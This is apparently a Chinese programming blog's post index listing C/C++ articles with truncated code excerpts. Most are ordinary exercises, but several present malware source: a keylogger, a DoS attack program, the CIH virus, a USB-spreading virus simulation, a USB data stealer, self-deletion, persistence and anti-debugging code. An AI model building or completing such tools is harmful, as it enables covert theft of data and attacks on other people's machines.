- 博客(54)
- 资源 (32)
- 问答 (4)
- 收藏
- 关注
转载 Win32托盘图标 - C语言实现
#include"resource.h"#include<stdio.h>#include<Windows.h>//#include <CommCtrl.h>//#pragma comment(lib,"comctl32.lib")#define WM_NOTIFY_ICON WM_USER+100//自定义消息 处理托盘图标#define ID...
2019-06-17 16:18:54
1211
转载 C语言 计算文件md5值
#include<stdio.h>#include<string.h>#include<stdlib.h>#define F(x, y, z) (((x) & (y)) | ((~x) & (z)))#define G(x, y, z) (((x) & (z)) | ((y) & (~z)))#define H(x, ...
2019-06-17 16:14:51
1008
转载 Windows反调试技术全攻略
在调试一些病毒程序的时候,可能会碰到一些反调试技术,也就是说,被调试的程序可以检测到自己是否被调试器附加了,如果探知自己正在被调试,肯定是有人试图反汇编啦之类的方法破解自己。为了了解如何破解反调试技术,首先我们来看看反调试技术。一、Windows API方法Win32提供了两个API, IsDebuggerPresent和CheckRemoteDebuggerPresent可以用来检...
2019-06-13 00:14:38
485
转载 VC_双进程保护代码
我这里讲的方法实际上是不能终止的两个进程。讲到这里相信很多人都明白了,就是两个进程相互监视,一旦发现对方被杀就立刻重启对方。这样,这两个进程就很难被杀死了,至少我认为用任务管理器是不可能杀死它们的。 我的例子中,每个进程建立一个线程专门用于监视,这样主线程还可以做其他的事情。另外,注意那个互斥对象的使用。当然,这个程序可能写的不是很完美。#include <w...
2019-06-13 00:11:55
630
1
转载 VC++实现获取进程端口检测木马
#include <windows.h> #include <Tlhelp32.h> #include <winsock.h> #include <stdio.h> #pragma comment(lib, "ws2_32.lib") //------------------------------------...
2019-06-13 00:10:24
310
转载 VC程序 实现自毁代码
#include <windows.h> #include <shellapi.h> #include <shlobj.h> BOOL SelfDel() { SHELLEXECUTEINFO sei; TCHAR szModule [MAX_PATH],szComspec[MAX_PATH],szParams [MAX_PATH...
2019-06-13 00:09:43
1357
1
转载 C++键盘记录器源码
#include <windows.h> #include <Winuser.h> #include <string> #include <fstream> #include <iostream> using namespace std; string GetKey(int Key) // 判断键盘按下什么键 ...
2019-06-13 00:06:26
3193
2
转载 C语言多线程dos攻击程序源码
#include <winsock2.h> #include <Ws2tcpip.h> #include <stdio.h> #pragma comment(lib,"ws2_32.lib") #define SEQ 0x28376839 int threadnum,maxthread,port; char *DestIP;//目标IP void...
2019-06-13 00:05:24
1220
转载 实现中缀表达式转换为后缀表达式,再求值
#include <malloc.h> #include <stdlib.h> #include <math.h> #include <ctype.h> #include <string.h> typedef char DataType; //定义结构体 typedef struct snode { ...
2019-06-13 00:02:29
1066
原创 C语言 简单密码生成算法
#include <iostream> #include <algorithm> #include <string> #include <memory> #include <cctype> #include <tchar.h> // _TCHAR* argv[] #include <wtypes.h&g...
2019-06-13 00:00:23
1058
转载 CIH源代码(硬件厂商已修复,所以不用担心会对电脑造成伤害,做为研究硬件是不错的选择)
CIH病毒原码 ; * The Virus Program Information * ; **************************************************************************** ; * * ; * Designer : CIH Original Place : TTIT of Taiwan * ; * Cr...
2019-06-12 23:57:17
335
转载 C语言练习作品 - U盘病毒模拟
学了汇编有一段时间了,觉得还是C语言比较好玩。今天就复习一下吧。我除了对远程控制木马比较了解外,对U盘病毒类型也蛮熟悉的(╮(╯▽╰)╭ 被学校机房里的电脑逼的...)U盘病毒有很多种,我就设计其中一种在我们学校机房最常见的吧~(远控难度太高了...) U盘病毒有个特性就是利用U盘进行传播(废话...),它会在U盘根目录里建立一个名为 autorun.inf 的文件。为什么要建立这个文件...
2019-06-12 23:50:44
1268
1
转载 Hacker常用WinAPI函数整理
黑客常用WIN API函数整理一、进程创建进程:CreateProcess ("C:\\windows\\notepad.exe",0,0,0,0,0,0,0,&si,&pi);WinExec("notepad",SW_SHOW);ShellExecute(0,"open","notepad","c:\\a.txt","",SW_SHOW);ShellExecuteE...
2019-06-12 23:49:48
255
转载 C语言 - 实现扫雷
#include <Windows.h> #include <strsafe.h> #include <windowsx.h> #include <time.h> #define HEIGHT 15 #define WIDTH 15 #define MAX_STRING 50 #define LAND L'○' ...
2019-06-12 23:46:41
151
转载 C语言 - 万年历
#include<iostream>#include<iomanip>using namespace std;int leapyear(int year); //判断该年是否为闰年int theday(int year,int month); //判断该月天数int whatdate...
2019-06-12 23:43:30
271
转载 C语言 贪食蛇
#include <stdio.h> #include <windows.h> #include <conio.h> #include <time.h> #include <stdlib.h> const int MAX_X=23; const int MAX_Y=50; const int MAX_food...
2019-06-12 23:38:34
355
转载 21种VC反调试器
反调试技术 2发现OD的处理 21. 窗口类名、窗口名 32. 检测调试器进程 43. 父进程是否是Explorer 54. RDTSC/ GetTickCount时间敏感程序段 65. StartupInfo结构 76. BeingDebugged 87. PEB.NtGlobalFlag , Heap.HeapFlags, Heap.ForceFlags 98. Deb...
2019-06-11 21:48:43
804
转载 八种反调试技术
在调试一些病毒程序的时候,可能会碰到一些反调试技术,也就是说,被调试的程序可以检测到自己是否被调试器附加了,如果探知自己正在被调试,肯定是有人试图反汇编啦之类的方法破解自己。为了了解如何破解反调试技术,首先我们来看看反调试技术。一、Windows API方法Win32提供了两个API, IsDebuggerPresent和CheckRemoteDebuggerPresent可以用来检...
2019-06-10 15:54:51
631
转载 Windows API简单实例
第一个:FindWindow根据窗口类名或窗口标题名来获得窗口的句柄,该函数返回窗口的句柄,这个函数的定义是这样的 HWND WINAPI FindWindow(LPCSTR lpClassName ,LPCSTR lpWindowName);第一个参数填窗口的类名,第二个填窗口的标题名,其实是不需要同时填两个参数的,也就是说,你只要知道窗口的类名或窗口的标题就可以了,没有的那个就用NUL...
2019-06-09 23:36:05
982
转载 Hacker编程常用API函数
1.窗口信息 MS 为我们提供了打开特定桌面和枚举桌面窗口的函数。 hDesk=OpenDesktop(lpszDesktop,0,FALSE,DESKTOP_ENUMERATE); //打开我们默认的Default 桌面; GetWindowText(hWnd,szWindowText,dwMaxCount);//取得编辑框中的文字 GetWindowThreadPro...
2019-06-09 23:14:50
218
转载 防止hosts文件被修改小技巧一则
打开记事本,根据需要输入以下代码:----------------------------------------------------------------------------------------------- 禁止修改HOSTS文件: attrib+r+a+s+h%windir%\system32\drivers\...
2019-06-09 00:48:05
5434
转载 恶意代码中会经常看到的函数
accept 用来监听入站网络连接,这个函数预示着程序会在一个套接字上监听入站网络连接AdjustTokenPrivileges用来启用或禁用特定的访问权限,执行进程注入的恶意代码经常会调用这个函数,来取得额外的权限AttachThreadInput将一个本地地址关联到套接字上,以监听入站网络连接bind用来将本地地址关联到套接字上,以监听入站网络连接BitBlt用来将图形数据...
2019-06-09 00:39:30
794
原创 C语言中system的使用 - 看似简单,但很多人不知可以这样用。
int main(){ system("md c:\\abc");//在c盘根目录建立abc文件夹 system("copy c:\\Windows\\notepad.exe c:\\abc");//把windows目录下的记事本复制到abc文件夹 system("start c:\\abc\\notepad.exe");//执行复制过去的记事本...
2019-06-09 00:30:05
5256
1
转载 C语言实现简单CM
#include <windows.h>#include <stdio.h>LPCWSTR StringW=L"error!";/* 失败 */LPCWSTR StringW1=L"successful!";/* 成功 */void __declspec(naked) func(void){ __asm { push MB_OK /* 按钮 */ p...
2019-06-06 04:17:34
444
原创 内联汇编调用MessageBox
#include <windows.h>int main(){ LoadLibraryA("user32.dll"); //载入指定的动态链接库,并将它映射到当前进程使用的地址空间。一旦载入,即可访问库内保存的资源 HMODULE hmd=GetModuleHandleW(L"user32.dll"); //hmd就是user32.dll在这个实例的内存基址 ULONG ...
2019-06-06 04:02:45
1503
转载 Windows NT内核函数大全
Nt内核函数大全NtLoadDriver服务控制管理器加载设备驱动.NtUnloadDriver服务控制管理器支持卸载指定的驱动程序.NtRegisterNewDevice加载新驱动文件.NtQueryIntervalProfile返回数据.NtSetIntervalProfile指定采样间隔.NtStartProfile开始取样.NtStopProfile停止采样...
2019-06-06 03:27:01
1829
转载 C语言实现窗口炸弹
#include <windows.h>#include "resource.h"#include <iostream>DWORD WINAPI myfun(LPVOID lParam);int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, ...
2019-06-06 02:29:43
5555
5
转载 VC++ GetLastError直接打印出中文提示
#include <windows.h> int WINAPI WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd ) { ExitWindowsEx(EWX_SHUTDOWN|EWX...
2019-06-06 02:27:48
438
转载 获取网卡MAC、硬盘序列号、CPU_ID、BIOS编号
获取网卡MAC、硬盘序列号、CPU ID、BIOS编号本文中所有原理及思想均取自网络,有修改。其中获取硬盘序列号、获取CPU编号、获取BIOS编号的原始代码的著作权归各自作者所有。 以下代码可以取得系统特征码(网卡MAC、硬盘序列号、CPU ID、BIOS编号) BYTE szSystemInfo[4096]; // 在程序执行完毕后,此处存储取得的系统特征...
2019-06-06 02:06:50
1888
1
转载 操作系统分页机制
1.LinearSpace&PhysicalSpace在硬件工程师和普通用户看来,内存就是插在或固化在主板上的内存条,它们有一定的容量——比如64MB。但在应用程序员眼中,并不过度关心插在主板上的内存容量,而是他们可以使用的内存空间——他们可以开发一个需要占用1GB内存的程序,并让其在OS平台上运行,哪怕这台运行主机上只有128MB的物理内存条。而对于OS开发者而言,则是...
2019-06-06 01:41:30
334
转载 C语言 星号显示文字
#include <stdio.h>#include <windows.h>#include <iostream>using namespace std;HWND GetConsoleHwnd(){ HWND hwndFound; // 最后要返回的控制台hwnd. TCHAR NewWindowTitle[512]; //...
2019-06-06 01:35:55
1324
转载 C语言*号输出任意文字
#include "stdafx.h"#include <stdio.h>#include <windows.h>#include <iostream>using namespace std;HWND GetConsoleHwnd(){ HWND hwndFound; // 最后要返回的控制台hwnd. TCHAR New...
2019-06-06 01:30:13
3290
1
转载 【黑客代码】程序实现自启动的各种方法及编程实现
一、当前用户专有的启动文件夹许多应用软件自动启动的常用做法就是Windows 自动启动放入该文件夹的所有快捷方式。用户启动文件夹一般在:\Documents and Settings\<用户名字>\“开始”菜单\程序\启动,其中“<用户名字>”是当前登录的用户帐户名称。二、对所有用户有效的启动文件夹这是自动启动程序的第二个重要位置,不管用户用什么身份登录系统,放...
2019-06-06 01:11:19
2467
1
转载 vs2017,c++连接mysql
环境设置:安装完mysqlvs中 vc++目录 中 包含目录 D:\DevSoft\MySQL\MySQL Server 5.5\include 这个文件夹vc++目录 中 引用目录 D:\DevSoft\MySQL\MySQL Server 5.5\lib 这个文件夹。 记得把 mysql 安装目录中的include目录下的libmysql.lib 复制...
2019-06-05 22:36:40
213
转载 Release失败而Debug却成功处理
Debug下正常,而Release失败的真正原因 关于Debug和Release之本质区别的讨论一、Debug 和 Release 编译方式的本质区别 Debug 通常称为调试版本,它包含调试信息,并且不作任何优化,便于程序员调试程序。Release 称为发布版本,它往往是进行了各种优化,使得程序在代码大小和运行速度上都是最优的,以便用户很好地使用。 Debug 和 ...
2019-06-05 22:34:59
1326
转载 scanf妙用
1.scanf这个函数,任何时候都忽略前导空格,但当遇到输入中间的空格,会认为输入完毕,结束操作.所以输入:hello world后只得到hello,解决办法: scanf("%[^\n]",string);2.scanf("%s%*[^\n]", pString);读字符到字符串pString,直到遇到空格, 然后接着读,一直读到\n,后半断字符串是要丢掉的.这里使用两个技巧:...
2019-06-05 22:34:02
208
转载 printf 格式化输出符号详细说明
%a 浮点数、十六进制数字和p-记数法(C99)%A 浮点数、十六进制数字和p-记法(C99)%c 一个字符(char)%C 一个ISO宽字符%d 有符号十进制整数(int)(%ld、%Ld:长整型数据(long),%hd:输出短整形。) %e 浮点数、e-记数法%E 浮点数、E-记数法%f 单精度浮点数(默...
2019-06-05 22:32:34
257
转载 网络游戏开发成本,运营成本,收入
开发一个网络游戏以开发团队30人,开发周期18个月,人均月成本1万元计算.(这个是概数),约为540万.计算技术购买,测试服务器费用等等等等其他一切费用,普通国产网络游戏开发成本应该在600-1000万之间.运营成本.假设准备做到在线5万人,以平均10台服务器/组,5000人/组承载计算,约需10组,100台服务器.算上网站服务器,备用服务器等等,120台服务器投入是比较保守的估计.以单台平...
2019-06-05 00:27:44
8162
1
转载 Windows U盘资料备份工具 C++实现
*USBsniffer v1.0*/ /*USBsniffer*/ /*注意:仅供学习交流,请勿用于不正当用途!*/ 功能简介: 本程序以3秒为周期,自动检测本地磁盘改动信息,如果发现有移动硬盘 或者U盘等USB存储设备后,会主动窃取其中所有信息,并保存在用户指定路 #include <iostream> #include <stdlib.h>...
2019-06-03 20:03:57
186
转载 Windows api实现 虚拟光驱
代码有点乱。凑合着看吧 一直以来对虚拟光驱的实现都很好奇,也曾想试着做一个,但查遍网上资料,基本上没找到过什么有用的。所以一直没有实现。感于这方面资料的缺少。所以准备研究一下这方面的技术。 在没有什么资料的情况下,要想研究某方面的技术,最好的办法,当然是逆向。选择作为逆向目标的软件。一定不能过大。二要不是商业软件。所以选了MINICD这款软件。这款软...
2019-06-03 19:20:32
446
C++ 远程控制编写,29款源代码
2019-06-09
Windows黑客技术揭秘与攻防 C语言
2019-06-08
32位汇编的段寄存器有什么用?
2019-05-21
wcslen获取信息出错,类型有点不明白?
2019-03-30
32位汇编是平坦模式,没有偏移地址吗,那用CE找基址为什么还要加入偏移地址
2018-11-22
TA创建的收藏夹 TA关注的收藏夹
TA关注的人